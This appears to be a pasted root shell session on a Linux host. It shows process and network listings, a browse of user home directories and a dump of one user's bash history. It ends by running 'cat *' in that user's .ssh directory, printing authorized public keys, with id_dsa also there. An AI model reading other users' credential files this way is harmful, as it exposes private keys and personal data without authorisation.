root        11  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kacpid]
root        71  0.0  0.0      0     0 ?        S<   Jun07   0:00 [cqueue/0]
root        74  0.0  0.0      0     0 ?        S<   Jun07   0:00 [khubd]
root        76  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kseriod]
root       129  0.0  0.0      0     0 ?        S    Jun07   0:00 [pdflush]
root       130  0.0  0.0      0     0 ?        S    Jun07   0:00 [pdflush]
root       131  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kswapd0]
root       132  0.0  0.0      0     0 ?        S<   Jun07   0:00 [aio/0]
root       285  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kpsmoused]
root       302  0.0  0.0      0     0 ?        S<   Jun07   0:01 [kjournald]
root       327  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kauditd]
root       353  0.0  0.5   2904  1368 ?        S<s  Jun07   0:01 /sbin/udevd -d
root      1191  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kmpathd/0]
root      1197  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kmirrord]
root      1218  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kjournald]
root      1220  0.0  0.0      0     0 ?        S<   Jun07   0:00 [kjournald]
root      1663  0.0  2.7   8260  6908 ?        Ss   Jun07   0:00 /usr/sbin/resto
root      1672  0.0  0.2   1692   576 ?        Ss   Jun07   0:01 syslogd -m 0
root      1675  0.0  0.1   1640   396 ?        Ss   Jun07   0:00 klogd -x
root      1698  0.0  0.1   2124   388 ?        Ss   Jun07   0:00 mcstransd
rpc       1710  0.0  0.2   1776   552 ?        Ss   Jun07   0:00 portmap
root      1729  0.0  0.3   1888   804 ?        Ss   Jun07   0:00 rpc.statd
root      1758  0.0  0.2   4932   560 ?        Ss   Jun07   0:00 rpc.idmapd
dbus      1772  0.0  0.4  13384  1148 ?        Ssl  Jun07   0:01 dbus-daemon --s
root      1782  0.0  0.3   2348   868 ?        Ss   Jun07   0:00 hcid: processin
root      1794  0.0  0.1   1708   492 ?        Ss   Jun07   0:00 /usr/sbin/sdpd
root      1805  0.0  0.0      0     0 ?        S<   Jun07   0:00 [krfcommd]
root      1840  0.0  0.5  22936  1288 ?        Ssl  Jun07   0:01 pcscd
root      1858  0.0  0.1   1876   452 ?        Ss   Jun07   0:00 /usr/bin/hidd -
root      1875  0.0  0.4   9040  1060 ?        Ssl  Jun07   0:00 automount
root      1892  0.0  0.2   1640   528 ?        Ss   Jun07   0:00 /usr/sbin/acpid
root      1903  0.0  1.4  10072  3588 ?        S    Jun07   0:10 python /usr/bin
root      1911  0.0  0.8   9828  2040 ?        Ss   Jun07   0:00 cupsd
root      1924  0.0  0.3   5168   940 ?        Ss   Jun07   0:01 /usr/sbin/sshd
root      1935  0.0  0.1   4584   488 ?        Ss   Jun07   0:00 /usr/sbin/vsftp
root      1944  0.0  0.1   1864   356 ?        Ss   Jun07   0:00 gpm -m /dev/inp
root      1953  0.0  0.4   5228  1196 ?        Ss   Jun07   0:01 crond
xfs       1984  0.0  0.8   3960  2188 ?        Ss   Jun07   0:01 xfs -droppriv -
root      2010  0.0  0.1   2200   428 ?        Ss   Jun07   0:00 /usr/sbin/atd
avahi     2034  0.0  0.5   2864  1460 ?        Ss   Jun07   0:00 avahi-daemon: r
avahi     2035  0.0  0.1   2864   320 ?        Ss   Jun07   0:00 avahi-daemon: c
68        2044  0.0  1.5   5784  3944 ?        Ss   Jun07   0:04 hald
root      2045  0.0  0.4   3340  1132 ?        S    Jun07   0:00 hald-runner
68        2051  0.0  0.3   2288   972 ?        S    Jun07   0:00 hald-addon-acpi
68        2057  0.0  0.3   2292   968 ?        S    Jun07   0:00 hald-addon-keyb
68        2060  0.0  0.3   2288   968 ?        S    Jun07   0:00 hald-addon-keyb
root      2071  0.0  0.3   2248   788 ?        S    Jun07   0:05 hald-addon-stor
root      2142  0.0  0.2   1952   516 ?        S    Jun07   0:00 /usr/sbin/smart
root      2147  0.0  0.1   1628   440 tty1     Ss+  Jun07   0:00 /sbin/mingetty
root      2148  0.0  0.1   1624   436 tty2     Ss+  Jun07   0:00 /sbin/mingetty
root      2149  0.0  0.1   1624   436 tty3     Ss+  Jun07   0:00 /sbin/mingetty
root      2150  0.0  0.1   1624   436 tty4     Ss+  Jun07   0:00 /sbin/mingetty
root      2151  0.0  0.1   1628   464 tty5     Ss+  Jun07   0:00 /sbin/mingetty
root      2152  0.0  0.1   1628   440 tty6     Ss+  Jun07   0:00 /sbin/mingetty
root      2153  0.0  0.4   4488  1188 ?        Ss   Jun07   0:00 /bin/sh /etc/X1
root      2218  0.0  1.6  16640  4228 ?        S    Jun07   0:00 /usr/sbin/gdm-b
root      2243  0.0  1.1  15760  2812 ?        S    Jun07   0:00 /usr/sbin/gdm-b
root      2247  0.0  0.6  16640  1768 ?        S    Jun07   0:00 /usr/sbin/gdm-b
ircd      2300  0.0  1.2   6784  3076 ?        S    Jun07   0:02 /home/ircd/Unre
root      3429  0.0  3.2  14136  8372 tty7     Ss+  Jun07   0:26 /usr/bin/Xorg :
djdd      3459  0.0  0.4   4440  1108 ?        Ss   Jun07   0:00 /bin/sh /usr/bi
djdd      3505  0.0  0.1   4284   492 ?        Ss   Jun07   0:00 /usr/bin/ssh-ag
djdd      3508  0.0  0.2   2812   512 ?        S    Jun07   0:00 /usr/bin/dbus-l
djdd      3509  0.0  0.3  13340   792 ?        Ssl  Jun07   0:00 /bin/dbus-daemo
djdd      3564  0.0  0.0   1480   140 ?        S    Jun07   0:00 start_kdeinit -
djdd      3565  0.0  1.3  29276  3352 ?        Ss   Jun07   0:00 kdeinit Running
djdd      3568  0.0  0.7  17296  1860 ?        S    Jun07   0:00 dcopserver --no
djdd      3570  0.0  2.4  30260  6336 ?        S    Jun07   0:00 klauncher [kdei
djdd      3572  0.0  4.6  34448 11940 ?        S    Jun07   0:00 kded --new-star
djdd      3578  0.0  0.1   1620   340 ?        S    Jun07   0:00 kwrapper ksmser
djdd      3580  0.0  4.1  24756 10508 ?        S    Jun07   0:00 ksmserver
djdd      3581  0.0  5.2  27152 13272 ?        S    Jun07   0:01 kwin -session 1
djdd      3583  0.0  5.5  35020 14032 ?        S    Jun07   0:07 kdesktop
djdd      3587  0.0  6.3  36488 16184 ?        S    Jun07   0:03 kicker
djdd      3588  0.0  2.0  29408  5200 ?        S    Jun07   0:00 kio_file [kdein
djdd      3594  0.0  2.2   9960  5720 ?        S    Jun07   0:00 /usr/bin/artsd
djdd      3597  0.0  3.0  24788  7692 ?        S    Jun07   0:00 kaccess
djdd      3644  0.0  5.5  34940 14148 ?        S    Jun07   0:04 konsole
djdd      3645  0.0  0.5   4492  1396 pts/2    Ss   Jun07   0:00 /bin/bash
djdd      3660  0.0  1.6  10716  4228 pts/2    S+   Jun07   0:01 irssi
djdd      3674  0.0  0.5   4488  1396 pts/3    Ss+  Jun07   0:00 /bin/bash
djdd      6090  0.0  0.5   5284  1472 ?        Ss   Jun08   0:02 SCREEN irssi
djdd      6091  0.0  1.7  11028  4440 pts/6    Ss+  Jun08   0:05 irssi
gumbie    6862  0.0  0.5   5156  1308 ?        Ss   Jun08   0:00 SCREEN -e^Tt
gumbie    6863  0.0  0.5   4488  1392 pts/8    Ss+  Jun08   0:00 /bin/bash
gumbie    6877  0.0  0.5   4488  1400 pts/9    Ss   Jun08   0:00 /bin/bash
root      6891  0.0  0.4   4796  1192 pts/9    S    Jun08   0:00 su -
root      6894  0.0  0.5   4488  1400 pts/9    S    Jun08   0:00 -bash
djdd      7700  0.0  0.5   4488  1464 pts/10   Ss   Jun08   0:00 /bin/bash
djdd      7714  0.5  0.3   2164  1008 pts/10   S+   Jun08   8:06 top
root     10716  0.0  0.4   4796  1192 pts/9    S    Jun08   0:00 su - ircd
ircd     10717  0.0  0.5   4492  1424 pts/9    S+   Jun08   0:00 -bash
djdd     11427  0.0  0.5   4492  1416 pts/7    Ss+  Jun08   0:00 /bin/bash
root     20876  0.0  1.0   8016  2668 ?        Ss   14:16   0:00 sshd: djdd [pri
djdd     20878  0.0  0.5   8016  1484 ?        S    14:16   0:00 sshd: djdd@pts/
djdd     20879  0.0  0.5   4492  1440 pts/4    Ss   14:16   0:00 -bash
root     20923  0.0  0.4   4796  1196 pts/4    S    14:19   0:00 su -l
root     20924  0.0  0.5   4488  1488 pts/4    S    14:19   0:00 -bash
root     20977  0.0  0.3   4224   944 pts/4    R+   14:21   0:00 ps aux
[root@lila ~]# netstat -anvp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:8067                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6661                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6662                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6663                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6664                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6697                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6665                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6666                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6667                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6668                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6669                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:6670                0.0.0.0:*                   LISTEN      2300/ircd           
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1710/portmap        
tcp        0      0 0.0.0.0:6000                0.0.0.0:*                   LISTEN      3429/Xorg           
tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN      1935/vsftpd         
tcp        0      0 0.0.0.0:639                 0.0.0.0:*                   LISTEN      1729/rpc.statd      
tcp        0      0 192.168.2.50:55636          76.108.85.21:6667           ESTABLISHED 6091/irssi          
tcp        0      0 192.168.2.50:6667           81.79.76.217:1106           ESTABLISHED 2300/ircd           
tcp        0      0 192.168.2.50:42543          80.248.208.223:8067         ESTABLISHED 2300/ircd           
tcp        0      0 192.168.2.50:6667           212.187.194.74:45005        ESTABLISHED 2300/ircd           
tcp        0      0 :::6000                     :::*                        LISTEN      3429/Xorg           
tcp        0      0 :::22                       :::*                        LISTEN      1924/sshd           
tcp        0      0 ::1:631                     :::*                        LISTEN      1911/cupsd          
tcp        0      0 :::443                      :::*                        LISTEN      1924/sshd           
tcp        0   3120 ::ffff:192.168.2.50:22      ::ffff:76.108.85.21:1722    ESTABLISHED 20876/sshd: djdd [p 
udp        0      0 0.0.0.0:32768               0.0.0.0:*                               2034/avahi-daemon:  
udp        0      0 0.0.0.0:177                 0.0.0.0:*                               2218/gdm-binary     
udp        0      0 0.0.0.0:5353                0.0.0.0:*                               2034/avahi-daemon:  
udp        0      0 0.0.0.0:111                 0.0.0.0:*                               1710/portmap        
udp        0      0 0.0.0.0:631                 0.0.0.0:*                               1911/cupsd          
udp        0      0 0.0.0.0:633                 0.0.0.0:*                               1729/rpc.statd      
udp        0      0 0.0.0.0:636                 0.0.0.0:*                               1729/rpc.statd      
udp        0      0 :::32769                    :::*                                    2034/avahi-daemon:  
udp        0      0 :::5353                     :::*                                    2034/avahi-daemon:  
netstat: no support for `AF INET (sctp)' on this system.
netstat: no support for `AF INET (sctp)' on this system.
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path
unix  2      [ ACC ]     STREAM     LISTENING     9583   2218/gdm-binary     /tmp/.gdm_socket
unix  2      [ ACC ]     STREAM     LISTENING     15857  3505/ssh-agent      /tmp/ssh-fszdmt3459/agent.3459
unix  2      [ ACC ]     STREAM     LISTENING     15568  3429/Xorg           /tmp/.X11-unix/X0
unix  2      [ ACC ]     STREAM     LISTENING     15870  3509/dbus-daemon    @/tmp/dbus-6TBpAtep6A
unix  2      [ ACC ]     STREAM     LISTENING     15961  3565/kdeinit Runnin /tmp/ksocket-djdd/kdeinit__0
unix  2      [ ACC ]     STREAM     LISTENING     15963  3565/kdeinit Runnin /tmp/ksocket-djdd/kdeinit-:0
unix  2      [ ACC ]     STREAM     LISTENING     15971  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  2      [ ACC ]     STREAM     LISTENING     7652   1984/xfs            /tmp/.font-unix/fs7100
unix  2      [ ]         DGRAM                    1315   353/udevd           @/org/kernel/udev/udevd
unix  2      [ ACC ]     STREAM     LISTENING     6430   1698/mcstransd      /var/run/setrans/.setrans-unix
unix  2      [ ACC ]     STREAM     LISTENING     6645   1772/dbus-daemon    /var/run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING     6728   1794/sdpd           /var/run/sdp
unix  2      [ ACC ]     STREAM     LISTENING     6824   1840/pcscd          /var/run/pcscd.comm
unix  2      [ ACC ]     STREAM     LISTENING     6953   1892/acpid          /var/run/acpid.socket
unix  2      [ ]         DGRAM                    7875   2044/hald           @/org/freedesktop/hal/udev_event
unix  2      [ ACC ]     STREAM     LISTENING     7866   2044/hald           @/var/run/hald/dbus-tfYI6pBNmg
unix  2      [ ACC ]     STREAM     LISTENING     7027   1911/cupsd          /var/run/cups/cups.sock
unix  18     [ ]         DGRAM                    6311   1672/syslogd        /dev/log
unix  2      [ ACC ]     STREAM     LISTENING     7819   2034/avahi-daemon:  /var/run/avahi-daemon/socket
unix  2      [ ACC ]     STREAM     LISTENING     7867   2044/hald           @/var/run/hald/dbus-9dLmGqipq1
unix  2      [ ACC ]     STREAM     LISTENING     15992  3570/klauncher [kde /tmp/ksocket-djdd/klauncherOZ0Vhb.slave-socket
unix  2      [ ACC ]     STREAM     LISTENING     16195  3580/ksmserver      /tmp/.ICE-unix/3580
unix  2      [ ACC ]     STREAM     LISTENING     16353  3594/artsd          /tmp/ksocket-djdd/lila.lan.liveits.com-0e0a-46689dfe
unix  2      [ ACC ]     STREAM     LISTENING     7143   1944/gpm            /dev/gpmctl
unix  2      [ ]         STREAM     CONNECTED     120535 -                   /var/run/setrans/.setrans-unix
unix  2      [ ]         DGRAM                    119412 20923/su            
unix  3      [ ]         STREAM     CONNECTED     119149 20876/sshd: djdd [p 
unix  3      [ ]         STREAM     CONNECTED     119148 20878/4             
unix  2      [ ]         DGRAM                    119140 20876/sshd: djdd [p 
unix  2      [ ]         DGRAM                    52375  10716/su            
unix  2      [ ]         DGRAM                    27331  6891/su             
unix  3      [ ]         STREAM     CONNECTED     16923  3570/klauncher [kde /tmp/ksocket-djdd/klauncherOZ0Vhb.slave-socket
unix  3      [ ]         STREAM     CONNECTED     16922  3588/kdesktopBxu5ha 
unix  3      [ ]         STREAM     CONNECTED     16782  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16781  3644/konsole        
unix  3      [ ]         STREAM     CONNECTED     16777  3580/ksmserver      /tmp/.ICE-unix/3580
unix  3      [ ]         STREAM     CONNECTED     16776  3644/konsole        
unix  3      [ ]         STREAM     CONNECTED     16775  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16774  3644/konsole        
unix  3      [ ]         STREAM     CONNECTED     16414  3580/ksmserver      /tmp/.ICE-unix/3580
unix  3      [ ]         STREAM     CONNECTED     16413  3597/kaccess        
unix  3      [ ]         STREAM     CONNECTED     16402  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16401  3572/kded           
unix  3      [ ]         STREAM     CONNECTED     16366  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16365  3597/kaccess        
unix  3      [ ]         STREAM     CONNECTED     16364  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16363  3597/kaccess        
unix  3      [ ]         STREAM     CONNECTED     16348  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16347  3570/klauncher [kde 
unix  3      [ ]         STREAM     CONNECTED     16309  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16308  3572/kded           
unix  3      [ ]         STREAM     CONNECTED     16303  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16302  3587/kicker         
unix  3      [ ]         STREAM     CONNECTED     16270  3580/ksmserver      /tmp/.ICE-unix/3580
unix  3      [ ]         STREAM     CONNECTED     16269  3587/kicker         
unix  3      [ ]         STREAM     CONNECTED     16268  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16267  3587/kicker         
unix  3      [ ]         STREAM     CONNECTED     16262  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16261  3587/kicker         
unix  3      [ ]         STREAM     CONNECTED     16227  3580/ksmserver      /tmp/.ICE-unix/3580
unix  3      [ ]         STREAM     CONNECTED     16226  3583/kdesktop       
unix  3      [ ]         STREAM     CONNECTED     16223  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16222  3583/kdesktop       
unix  3      [ ]         STREAM     CONNECTED     16219  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16218  3583/kdesktop       
unix  3      [ ]         STREAM     CONNECTED     16211  3580/ksmserver      /tmp/.ICE-unix/3580
unix  3      [ ]         STREAM     CONNECTED     16210  3581/kwin           
unix  3      [ ]         STREAM     CONNECTED     16209  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16208  3581/kwin           
unix  3      [ ]         STREAM     CONNECTED     16204  3580/ksmserver      /tmp/.ICE-unix/3580
unix  3      [ ]         STREAM     CONNECTED     16203  3581/kwin           
unix  3      [ ]         STREAM     CONNECTED     16202  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16201  3581/kwin           
unix  3      [ ]         STREAM     CONNECTED     16194  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16193  3580/ksmserver      
unix  3      [ ]         STREAM     CONNECTED     16188  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16187  3580/ksmserver      
unix  3      [ ]         STREAM     CONNECTED     16179  3580/ksmserver      /tmp/ksocket-djdd/kdeinit__0
unix  3      [ ]         STREAM     CONNECTED     16178  3578/kwrapper       
unix  3      [ ]         STREAM     CONNECTED     16153  1772/dbus-daemon    /var/run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     16152  3572/kded           
unix  3      [ ]         STREAM     CONNECTED     16006  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     16005  3572/kded           
unix  3      [ ]         STREAM     CONNECTED     16004  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     16003  3572/kded           
unix  3      [ ]         STREAM     CONNECTED     15995  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     15994  3565/kdeinit Runnin 
unix  3      [ ]         STREAM     CONNECTED     15987  3568/dcopserver     /tmp/.ICE-unix/dcop3568-1181261294
unix  3      [ ]         STREAM     CONNECTED     15986  3570/klauncher [kde 
unix  3      [ ]         STREAM     CONNECTED     15982  3570/klauncher [kde 
unix  3      [ ]         STREAM     CONNECTED     15981  3565/kdeinit Runnin 
unix  3      [ ]         STREAM     CONNECTED     15885  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     15884  3508/dbus-launch    
unix  3      [ ]         STREAM     CONNECTED     15883  3509/dbus-daemon    
unix  3      [ ]         STREAM     CONNECTED     15882  3509/dbus-daemon    
unix  3      [ ]         STREAM     CONNECTED     15632  1984/xfs            /tmp/.font-unix/fs7100
unix  3      [ ]         STREAM     CONNECTED     15631  3429/Xorg           
unix  4      [ ]         STREAM     CONNECTED     15674  3429/Xorg           /tmp/.X11-unix/X0
unix  3      [ ]         STREAM     CONNECTED     15626  2243/gdm-binary     
unix  3      [ ]         STREAM     CONNECTED     15586  1892/acpid          /var/run/acpid.socket
unix  3      [ ]         STREAM     CONNECTED     15585  3429/Xorg           
unix  2      [ ]         DGRAM                    10057  2300/ircd           
unix  2      [ ]         STREAM     CONNECTED     9687   1892/acpid          /var/run/acpid.socket
unix  3      [ ]         STREAM     CONNECTED     9612   1840/pcscd          /var/run/pcscd.comm
unix  3      [ ]         STREAM     CONNECTED     9611   2218/gdm-binary     
unix  3      [ ]         STREAM     CONNECTED     8828   1772/dbus-daemon    /var/run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     8827   2044/hald           
unix  3      [ ]         STREAM     CONNECTED     8790   2044/hald           @/var/run/hald/dbus-tfYI6pBNmg
unix  3      [ ]         STREAM     CONNECTED     8786   2071/hdc            
unix  3      [ ]         STREAM     CONNECTED     8638   2044/hald           @/var/run/hald/dbus-tfYI6pBNmg
unix  3      [ ]         STREAM     CONNECTED     8634   2060/event0         
unix  3      [ ]         STREAM     CONNECTED     8622   2044/hald           @/var/run/hald/dbus-tfYI6pBNmg
unix  3      [ ]         STREAM     CONNECTED     8617   2057/event1         
unix  3      [ ]         STREAM     CONNECTED     8599   1892/acpid          /var/run/acpid.socket
unix  3      [ ]         STREAM     CONNECTED     8598   2051/acpid.socket   
unix  3      [ ]         STREAM     CONNECTED     8592   2044/hald           @/var/run/hald/dbus-tfYI6pBNmg
unix  3      [ ]         STREAM     CONNECTED     8575   2051/acpid.socket   
unix  3      [ ]         STREAM     CONNECTED     7870   2044/hald           @/var/run/hald/dbus-9dLmGqipq1
unix  3      [ ]         STREAM     CONNECTED     7869   2045/hald-runner    
unix  3      [ ]         STREAM     CONNECTED     7822   1772/dbus-daemon    /var/run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     7821   2034/avahi-daemon:  
unix  3      [ ]         STREAM     CONNECTED     7816   2035/avahi-daemon:  
unix  3      [ ]         STREAM     CONNECTED     7815   2034/avahi-daemon:  
unix  2      [ ]         DGRAM                    7813   2034/avahi-daemon:  
unix  2      [ ]         DGRAM                    7170   1953/crond          
unix  2      [ ]         DGRAM                    7134   1944/gpm            
unix  2      [ ]         DGRAM                    6912   1875/automount      
unix  2      [ ]         DGRAM                    6855   1858/hidd           
unix  2      [ ]         DGRAM                    6823   1840/pcscd          
unix  2      [ ]         DGRAM                    6716   1794/sdpd           
unix  3      [ ]         STREAM     CONNECTED     6715   1772/dbus-daemon    /var/run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     6714   1782/hcid: processi 
unix  2      [ ]         DGRAM                    6681   1782/hcid: processi 
unix  3      [ ]         STREAM     CONNECTED     6660   1772/dbus-daemon    
unix  3      [ ]         STREAM     CONNECTED     6659   1772/dbus-daemon    
unix  3      [ ]         STREAM     CONNECTED     6601   1758/rpc.idmapd     
unix  3      [ ]         STREAM     CONNECTED     6600   1758/rpc.idmapd     
unix  2      [ ]         DGRAM                    6489   1729/rpc.statd      
unix  2      [ ]         DGRAM                    6429   1698/mcstransd      
unix  2      [ ]         DGRAM                    6319   1675/klogd          
netstat: no support for `AF IPX' on this system.
netstat: no support for `AF AX25' on this system.
netstat: no support for `AF X25' on this system.
netstat: no support for `AF NETROM' on this system.
[root@lila ~]# cd /home
[root@lila home]# ls -alh
total 72K
drwxr-xr-x  9 root     root     4.0K Jun  5 10:11 .
drwxr-xr-x 23 root     root     4.0K Jun  7 18:23 ..
drwx------ 11 djdd     djdd     4.0K Jun  8 20:58 djdd
drwx------  9 gumbie   gumbie   4.0K Jun  8 23:30 gumbie
drwx------  7 ircd     ircd     4.0K May 27 03:33 ircd
drwx------ 19 nagios   nagios   4.0K Jun  9 14:20 nagios
drwx------  3 robivy64 robivy64 4.0K May 26 19:11 robivy64
drwx------  3 skeet    skeet    4.0K Jun  5 10:19 skeet
drwx------  5 strayfe  strayfe  4.0K Jun  2 10:34 strayfe
[root@lila home]# cd gumbie
[root@lila gumbie]# ls -alh
total 168M
drwx------ 9 gumbie gumbie 4.0K Jun  8 23:30 .
drwxr-xr-x 9 root   root   4.0K Jun  5 10:11 ..
-rw------- 1 gumbie gumbie 1.2K Jun  9 01:30 .bash_history
-rw-r--r-- 1 gumbie gumbie   24 Jul 12  2006 .bash_logout
-rw-r--r-- 1 gumbie gumbie  176 Jul 12  2006 .bash_profile
-rw-r--r-- 1 gumbie gumbie  124 Jul 12  2006 .bashrc
drwx------ 2 gumbie gumbie 4.0K Jun  4 13:41 Desktop
-rw------- 1 gumbie gumbie  219 Jun  4 14:08 .ICEauthority
-rw-r--r-- 1 gumbie gumbie 168M May 29 22:04 Ircd_Services_Backup-052907.tar.bz2
drwxr-xr-x 4 gumbie gumbie 4.0K Jun  4 13:41 .kde
-rw------- 1 gumbie gumbie   35 Jun  4 13:58 .lesshst
drwx------ 3 gumbie gumbie 4.0K Jun  4 13:41 .local
drwxr-xr-x 3 gumbie gumbie 4.0K Jun  4 13:41 .mcop
drwxr-xr-x 2 gumbie gumbie 4.0K Jun  4 14:03 .qt
drwx--x--x 2 gumbie gumbie 4.0K May 27 00:06 .ssh
drwxr-xr-x 2 gumbie gumbie 4.0K Jun  4 13:57 .vnc
-rw------- 1 gumbie gumbie  525 Jun  8 23:30 .Xauthority
[root@lila gumbie]# cat .bash_history 
tail -f /var/log/messages
tail -f /var/log/auth
tail -f /var/log/messages
tail -f /var/log/secure
tail -f /var/log/secure
exit
sudo su -
screen -^Tt
screen e-^Tt
screen -e^Tt
screen -^Tt
sudo su -
screen -^Tt
screen -e^Tt
sudo su -
passwd
passwd
passwd
ssh-keygen -t dsa
ls
ls -la
mv authorized_keys .ssh/
ls -la .ssh
chmod uog+x .ssh
screen -x
screen -x
screen -e^Tt
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
vncpasswd
ls -la
ls -la .vnc
vncserver
ps x
kill -9 30299
ps x
pico .vnc/xstartup 
nano .vnc/xstartup 
vncserver
tail -f /home/gumbie/.vnc/lila.lan.liveits.com:4.log
less /home/gumbie/.vnc/lila.lan.liveits.com:4.log
screen -x
tail -f /home/gumbie/.vnc/lila.lan.liveits.com:4.log
w
w
fg
tail -F /home/gumbie/.vnc/lila.lan.liveits.com:4.log
less /home/gumbie/.vnc/lila.lan.liveits.com:4.log
ps x
man vncserver
less .vnc/lila.lan.liveits.com\:3.pid
man vncserver
vncserver -kill :3
vncserver -kill :4
ps x
ps x
fg
fg
vncserver -kill :4
ps x
ps x
ps x
ps x
ps x
kill -9 30898
kill -9 30879
ps x
startkde
startkde
telnet  mastergamer.homeip.net 6667
telnet  mastergamer.homeip.net 6667
screen -x
screen -x
screen -e^Tt
screen -e^Tt
screen -x
screen -x
[root@lila .ssh]# ls -alh
total 44K
drwx--x--x 2 gumbie gumbie 4.0K May 27 00:06 .
drwx------ 9 gumbie gumbie 4.0K Jun  8 23:30 ..
-rw-r--r-- 1 gumbie gumbie 4.6K May 27 00:05 authorized_keys
-rw------- 1 gumbie gumbie  736 May 26 23:59 id_dsa
-rw-r--r-- 1 gumbie gumbie  618 May 26 23:59 id_dsa.pub
[root@lila .ssh]# cat *
ssh-dss AAAAB3NzaC1kc3MAAACBAIkoc5RisBTJmtAUFmSedLFXUOtADHiPUNVgvS3aEJ
/EauJM8Bvldd7AlNL2IoW+BVyI9qQ9F5u7ck925L3LFO2DySquqTUvu6wC1hcG+QJmLvXW
dZlp7qqiaVhQPspf++3PnpL/9W3Ls06CJTkRpWFb5pyBeB5srYv+pO26i1xfAAAAFQCDQH
jFR6JYK2BMfYzeqv5el4fsJQAAAIBQZW0fqGNmIxFANmeHcAWUlow8cwzH3bYltUHxYqFm
ogv7KhXppAzmDuptjqxpAAsiXResTflS484DieIwssz8z9IB+4hGITpnPOHQT1ddxIq614
MbkNlIMbCDXA1Ikbf0UNbJbN5fTd3JBZWU93lp2blJ+0VcmI2o3SXLZJgiLwAAAIAMXILS
m58KHdeCaeNb/EdSXAqnC7ZQ3LElNdgv0KX2d6t2ec4MWXjoicuIjTE5ZAh4m6e+vVP3ya
xSGaxtZ6TZKtS1P2Ku0MnYOdzer5y7C1EcQXyshYN9uikNEp3yiOk/n2mbHv8BrJr/Q/0F
qWVn3FDzJ2O/szt7iXrx+67IYg== gumbie@apache.rmachine.net
ssh-dss AAAAB3NzaC1kc3MAAACBAMhBcEfcxCSsSXvoeP9FA+oyHyDN8N4bH8WMn62STd
nsRGo1BGQNXYw3+wySs7L9XilUOC1Tnorkc9qsgZnsWfujfTRU2WOvdZ+PfkZFhyser/xw
MbmCNjovC1QONmq+UfvHoisHUPHymSIcL1jN704qB69JOGYwQy8YndPvaJlbAAAAFQCc1K
fmY/qwIH/Z0RCTTFiX0DgzIQAAAIAlVsYB57+E7JUvsc54+6lnzAb84NlzS3aIOI+G4ctr
XjQ962RxBEn1YezFH0xfPpnN15C3fTtU+NU/BqWX0LplGMK7xkvelQmPzPINebrWsAGQew
WelPfqWABZ+9UIv7KbpnYYmG91aka9Xtdj7+3b0Xaq5wpQjGTrvlEhUnSOewAAAIBdoaDN
ivxRzV5oK310p4Wp0PGzfqjzB0glwzTi0zwvs6nTdA4qqgh1HaU9SYtpUwTq9tNBQs5cft
